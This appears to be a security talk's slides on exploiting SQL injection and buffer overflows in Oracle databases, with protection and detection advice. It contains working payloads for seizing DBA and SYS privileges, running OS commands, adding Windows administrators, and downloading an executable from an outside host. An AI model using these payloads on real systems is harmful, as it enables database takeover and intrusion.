Advanced SQL Injection in Oracle databases

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- The platform chosen for the examples is: Oracle Database 10g Release 1 on Windows 2000 Advanced Server SP4. In most cases they can be translated to other version/platform with little or no modification.

Oracle Database Server

- Many features
- Very big software
- Large number of Packages, Procedures and Functions installed by default
 - Oracle 9i: 10700 Procedures, 760 packages
 - Oracle 10g: 16500 Procedures, 1300 packages
 - □ Normal users can execute:
 - Oracle 9i: 5700 procedures, 430 packages
 - Oracle 10g: 8900 procedures, 730 packages
- Product available in many platforms → Long time to release patches

Hacking Oracle Database Server

Without direct connection to the database

- SQL Injection
 - Injecting SQL.
 - Exploiting buffer overflows.
 - If output is not returned, can be redirected using the UTL_HTTP standard package.
- Connected to the database
 - SQL Injection in built-in or user-defined procedures.
 - Buffer overflows in built-in or user-defined procedures.
 - □ Output can be printed on attacker screen.

Vulnerabilities in Oracle

- I have reported many vulnerabilities in Oracle software
- 40 + have been fixed with recent patches.
- 65 + buffer overflows still UNFIXED!!
- More than 20 SQL Injection issues still UNFIXED!!

SQL Injection in Oracle

- With direct connection to the Database (connected as a database user):
 - Can be used to execute SQL statements with elevated privileges or to impersonate another user.
 - Risk when a procedure is not defined with the AUTHID CURRENT_USER keyword (executes with the privileges of the owner).
- Without direct connection to the Database (example: web application user):
 - Can be used to execute SQL statements with elevated privileges or to exploit a buffer overflow. The Oracle standard packages have many buffer overflows.

SQL Injection in Oracle

- There are two kind of PL/SQL blocks where the SQL Injection vulnerability can be found:
- Anonymous PL/SQL block:
 - A PL/SQL block that has a BEGIN and an END and can be used to execute multiple SQL statements.
 - There is no limitation in what the attacker can do. Allows to execute SELECTS, DML and DDL.
 - □ Example of vulnerable code:

```
EXECUTE IMMEDIATE 'BEGIN INSERT INTO MYTABLE (MYCOL1) VALUES (''' || PARAM || '''); END;';
```

- Single PL/SQL statement:
 - □ **Doesn't have a** BEGIN **and an** END.
 - □ The attacker cannot insert ";" to inject more SQL commands.
 - □ Example of vulnerable code:

```
OPEN cur_cust FOR 'select name from customers where id = ''' || p idtofind || ''';
```

SQL Injection in a Single PL/SQL statement - Injecting a user defined function

- We will focus on how an attacker can exploit a SQL injection vulnerability in a single SQL statement (a vulnerability in an anonymous PL/SQL block is easily exploitable).
- To use this method the attacker must have the privilege to create (or modify) a function.
- The attacker can create a function with the AUTHID CURRENT_USER keyword that executes the SQL statements the attacker wants with elevated privileges.
- Inject this function using a SQL injection vulnerability.

Limitation:

- If the vulnerability is in a SELECT SQL statement only SELECTs can be executed in the injected function.
- Can't inject DDL statements.

Why this limitation - Example

```
Vulnerable procedure (created by a DBA):
-- SQLVULN is a procedure vulnerable to SQL Injection. The vulnerability exists
-- in a single PL/SQL statement (not in an anonymous PL/SQL block).
CREATE OR REPLACE PROCEDURE "SYS"."SQLIVULN" (P_JOB VARCHAR2)
AS
AVGSAL Numeric;
BEGIN
EXECUTE IMMEDIATE 'SELECT AVG(SAL) FROM SCOTT.EMP WHERE JOB = '''||P_JOB||'''' INTO
AVGSAL;
DBMS_OUTPUT.PUT_LINE('Average salary for the job is: '||AVGSAL);
END;
/
GRANT EXECUTE ON "SYS"."SQLIVULN" TO "SCOTT"
/
```

Function to be injected (created by the attacker):

```
CREATE OR REPLACE FUNCTION "SCOTT"."SQLI" return varchar2
authid current_user as
BEGIN
execute immediate 'INSERT INTO SYS.PPT (PPC) VALUES (''55'')';
commit;
return '';
END;
Injecting the function:
```

```
EXEC SYS.SQLIVULN('MANAGER'' || SCOTT.SQLI() || ''');
```

See file SQLInjectionLimitation.sql.

Why this limitation

- When you try to execute DML statements in a SELECT you get this Oracle error:
 - □ ORA-14551: cannot perform a DML operation inside a query
- When you try to execute DDL statements you get this Oracle error:
 - ORA-14552: cannot perform a DDL, commit or rollback inside a query or DML
- The injected function is executed as a dependent transaction inside the transaction context of the vulnerable SQL statement.

Autonomous transactions in Oracle

- The pragma autonomous_transaction compiler directive allows to define a routine as autonomous (independent)
- Not the same as a nested transaction.
- Has a different transaction context.
- Must do a COMMIT (or ROLLBACK) to avoid an error:
 ORA-06519: active autonomous transaction detected and rolled back

Using autonomous transactions to inject SQL

- Define a function with the PRAGMA AUTONOMOUS_TRANSACTION compiler directive and AUTHID CURRENT_USER keyword that executes the SQL statements the attacker wants with elevated privileges.
- Inject this function using a SQL injection vulnerability.
- This allows to execute any SQL statement. Can become DBA !

If the attacker can create or modify a function any SQL Injection vulnerability in a SELECT / INSERT / UPDATE / DELETE can be used to get full DBA privileges

SQL Injection Examples

- These examples use a SQL injection vulnerability in a procedure to inject a function defined as an autonomous transaction. The vulnerability is in a single SQL statement (not in an anonymous PL/SQL block).
- Unfortunately none of the SQL injection issues that I found in Oracle standard packages have been fixed yet, so for the examples I will not use a standard procedure. SYS.SQLIVULN is an example of a procedure vulnerable to SQL Injection created by a DBA.

SQL Injection – Becoming the SYS user

- This exploit has two functions defined by the attacker:
- SCOTT.SQLI_CHANGEPSW changes the password of the SYS user to 'newpsw'. It saves the old SYS password in a table (PSW_DATA) to be able to restore it later.
- SCOTT.SQLI_RESTOREPSW restores the SYS password to the original value.
- Once these two function are created:
 - □ To change the SYS password execute:

```
EXEC SYS.SQLIVULN('MANAGER''||SCOTT.SQLI_CHANGEPSW
   ()||''');
```

- □ To restore the SYS password execute: EXEC SYS.SQLIVULN('MANAGER''||SCOTT.SQLI_RESTOREPSW ()||''');
- See the file SQLInjectionBecomingSYS.sql.

SQL Injection – Creating a java class

 Oracle allows to create java stored procedures. An attacker could inject the following function to create a java class:

```
CREATE OR REPLACE FUNCTION "SCOTT". "SOLI" return varchar2
authid current user as
  pragma autonomous transaction;
  SqlCommand VARCHAR2(2048);
BEGIN
  SqlCommand := '
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "SRC EXECUTEOS" AS
public class ExecuteOS {
  •••
}';
 execute immediate SqlCommand;
  SqlCommand := '
CREATE OR REPLACE PROCEDURE "PROC EXECUTEOS" (p command varchar2)
AS LANGUAGE JAVA
NAME ''ExecuteOS.execOSCmd (java.lang.String)'';';
  execute immediate SqlCommand;
  execute immediate 'GRANT EXECUTE ON PROC EXECUTEOS TO SCOTT';
  commit; return '';
END;
```

SQL Injection – Executing OS Commands

- In the injected function:
 - Create a Java Stored Procedure with a method that:
 - Executes an OS command using the java method Runtime.getRuntime(). exec()
 - Redirect the output to a file
 - Read the file and print the output
 - Publish the java class creating a stored procedure
 - □ Grant EXECUTE on this procedure
 - The java console output is redirected to an Oracle trace file by default, to see the output in SqlPlus execute:
 - **SET SERVEROUTPUT ON**
 - CALL dbms_java.set_output(2000);
- See file SQLInjectionExecutingOSCommand.sql for an example.

SQL Injection – Uploading a file

- In the injected function:
 - Create a Java Stored Procedure with a method that:
 - Reads the contents of a URL using java.net.* classes and writes it to a file using java.io.*

□ Publish the java class creating a stored procedure

□ Grant EXECUTE on this procedure

See file SQLInjectionUploadingAFile.sql.

SQL Injection in functions defined with AUTHID CURRENT_USER

- A SQL Injection vulnerability in a function that executes with the privilege of the caller (defined with AUTHID CURRENT_USER) in an anonymous PL/SQL block is not useful for an attacker if it is used directly, but an attacker can use a vulnerability of this kind to:
 - 1) get around the need to create a function to inject and use this vulnerable function to inject the SQL statements. To do this the vulnerability must be in an anonymous PL/SQL block of an AUTHID CURRENT_USER function (in order to be able to define the transaction as autonomous).
 - 2) execute SQL statements in a web application vulnerable to SQL Injection even if the vulnerability is in a SELECT and no other statement is allowed to be added. For an example see page 33.

How to get around the need for CREATE PROCEDURE privilege - Example

• Example:

- The file SQLInjectionVulCurUsr.sql creates the function SYS.SQLIVULN_CUR_USR vulnerable to SQL Injection in a PL/SQL anonymous block that executes with the privilege of the caller (defined with AUTHID CURRENT_USER).
- The attacker can use the vulnerable procedures SYS.SQLIVULN and SYS.SQLIVULN_CUR_USR in this way to get full DBA privilege:
- EXEC SYS.SQLIVULN ('MANAGER'' || SYS.SQLIVULN_CUR_USR (''AA''''; execute immediate ''''declare pragma autonomous_transaction; begin execute immediate ''''''''create user eric identified by mypsw'''''''; commit; end;''''; end;--'')||'''');
- The PRAGMA AUTONOMOUS TRANSACTION directive allows to define the transaction as autonomous so the attacker can execute any SQL DML or DDL statements.

How to get around the need for CREATE PROCEDURE privilege - Example

- Using a SQL Injection vulnerability in a function defined with AUTHID CURRENT_USER an attacker can use any other SQL Injection vulnerability in a SELECT / INSERT / UPDATE / DELETE to get full DBA privileges.
- For this example I could have used vulnerable Oracle standard procedures instead of user-defined procedures, but the vulnerabilities are not fixed by Oracle yet, so the details will be given when Oracle issue a patch to fix this.

How to protect

- Revoke EXECUTE privilege on Oracle standard packages/procedures when not needed. Specially for PUBLIC role.
- Grant the CREATE ANY PROCEDURE, ALTER ANY PROCEDURE privileges only to trusted users.
- Ensure that only trusted users own functions.
- Grant the RESOURCE Role only to trusted users.
- Whenever it is possible define the stored procedures with the AUTHID CURRENT_USER keyword.
- If dynamic SQL is necessary, always validate the parameters carefully, even in functions defined with the AUTHID CURRENT_USER keyword.

Buffer Overflows in Oracle stored procedures

- Allows an attacker to execute arbitrary code on the server.
- Can be exploited by normal database users or using SQL Injection by a remote user (web application user).
- Many standard Oracle stored procedures have buffer overflows bugs. Some issues have been fixed but there are still unfixed bugs.

Getting OS Administrator privileges

- Using a buffer overflow vulnerability an attacker can execute this OS command to create an administrator user:
 - net user admin2 /add && net localgroup Administrators admin2 /add && net localgroup ORA_DBA admin2 /add
- Proof of concept exploit code using the vulnerability in MDSYS.MD2.SDO_CODE_SIZE Oracle standard function (fix available in http://metalink.oracle.com) can be found in BufferOverflowExploit_GettingOSAdmin.sql.

Creating a SYSDBA user

- Using a buffer overflow the attacker can execute the SqlPlus Oracle utility to execute SQL statements as SYSDBA.
- To create a SYSDBA user the attacker could execute this OS command:
- echo CREATE USER ERIC IDENTIFIED BY MYPSW12; > c:\cu.sql &
 echo GRANT DBA TO ERIC; >> c:\cu.sql & echo ALTER USER
 ERIC DEFAULT ROLE DBA; >> c:\cu.sql & echo GRANT SYSDBA TO
 "ERIC" WITH ADMIN OPTION; >> c:\cu.sql & echo quit >>
 c:\cu.sql & c:\oracle\product\10.1.0\db_1\bin\sqlplus.exe
 "/ as sysdba" @c:\cu.sql
- Proof of concept exploit code in file BufferOverflowExploit_CreatingSYSDBAUser.sql.

Uploading a file

- Use a buffer overflow to execute SQL with the SqlPlus utility.
- Create a procedure that uploads a file using the UTL_FILE and UTL_HTTP standard packages.

Uploading a file

Using the SqlPlus utility create this procedure:

```
CREATE OR REPLACE PROCEDURE "SYS". "UPLOAD FILE" (url IN
  VARCHAR2, filename IN VARCHAR2)
as req utl http.req; resp utl http.resp; val RAW(32767);
file id UTL FILE.FILE TYPE;
BEGIN req := utl http.begin request(url);
EXECUTE IMMEDIATE ('CREATE OR REPLACE DIRECTORY UPLOAD DIR AS
   ''c:\''');
BEGIN resp := utl http.get response(reg);
file id := UTL FILE.FOPEN ('UPLOAD DIR', filename, 'wb',
  32767);
LOOP utl http.read raw(resp, val, 32767);
utl file.put raw(file id, val, true); END LOOP;
EXCEPTION
WHEN utl http.end of body THEN utl http.end response(resp);
END; utl file.fclose(file id); END;
```

Uploading a file

Finally, execute the created procedure BEGIN sys.upload_file ('http://hackersite/hack.exe',

```
'hack.exe');
```

END;

Detecting a buffer overflow attack

- Can't be detected always.
- Oracle dump files may have information about an attack, to audit them:
 - Review the file [ORACLE_BASE] / admin / [SID] / cdump / [SID] CORE.LOG
 - □ Search for ACCESS_VIO (Excp. Code: 0xc000005) Exceptions.
 - □ Injected code may be in the stack dump.
 - □ In the associated file udump/[SID]_ora_[THREAD_ID].trc can be the attacker SQL statement.
 - □ Oracle internal errors can also generate dumps.
 - Dump files are not generated always in a buffer overflow attack. Example: if the server process dies or if the attacker calls ExitThread() no dump files are generated.

Remote attacks using SQL Injection in a web application

- The file SearchEmp.jsp is an example of a web page vulnerable to SQL Injection.
- It is a Java Server Page that queries an Oracle Database and display the results as a table.
- The parameter "Search" is vulnerable to SQL Injection.
- This vulnerability may seem not to be very dangerous because Oracle does not allow to use a ";" to add more SQL statements, so only SELECTs can be injected in this case. With a SELECT an attacker can inject a function call and using a vulnerability in a function can get complete control over an Oracle database as shown in the following example.

Exploiting a buffer overflow through SQL Injection in a web application

- Using a buffer overflow in a standard Oracle function (like MDSYS.MD2.SDO_CODE_SIZE, see file BufferOverflowExploit_SDO_CODE_SIZE_10g.sql) a remote attacker can execute arbitrary code on the database server.
- To exploit this in the case of the example vulnerable web page SearchEmp.jsp an attacker should execute:
- This exploit executes the OS command "dir>c:\dir.txt" in the context of the Oracle server process.
- It's wrong to think that SQL Injection issues in Oracle databases are not dangerous.

Web application worm

- Many web applications are vulnerable to SQL Injection allowing to inject function calls.
- Exploiting a vulnerability in Oracle standard functions as demonstrated in the previous example is not difficult and it could be done in an automated way.
- A malicious worm could do this:
 - □ Search for all the web pages and identify its parameters.
 - □ Try to exploit every parameter in this way:

How to protect

- Revoke EXECUTE privilege on Oracle standard packages when not needed. Specially for the PUBLIC role.
- Restrict network access to the Listener and iSqlPlus service only to trusted users. Never connect directly to Internet.
- Drop or change password of default users.
- Make sure your application is not vulnerable to SQL Injection validating the variables used in dynamic SQL or using bind variables.
- Keep Oracle and OS up-to-date with patches.
- Try to upgrade to the last Oracle database release and patchset
 - Last releases and patchsets includes more fixes than older supported versions.

Exploiting SQL Injection in a web application to execute SQL statements


This example shows how to exploit the vulnerable web page SearchEmp.jsp to inject SQL commands using the vulnerable function SYS.SQLIVULN_CUR_USR:

http://vulnsite/SearchEmp.jsp?Search=MANAGER'|| SYS.SQLIVULN_CUR_USR('AA'';%20execute%20immediate% 20''declare%20pragma%20autonomous_transaction;%20begin% 20execute%20immediate%20''''insert%20into%20scott.emp

```
(empno, ename, sal) %20values%20
```

(892,'''''John''''',50000)'''';%20commit;% 20end;'';%20end;--')||''--

Summary



Conclusions

- Many features are installed by default. Most of them are never used and represent a serious security risk
- Many standard procedures are vulnerable to buffer overflows and SQL Injection issues

□ With a buffer overflow it's possible to execute SQL statements

- SQL Injection can be very dangerous in remote or local scenarios
- Automatic testing tools may help DBAs

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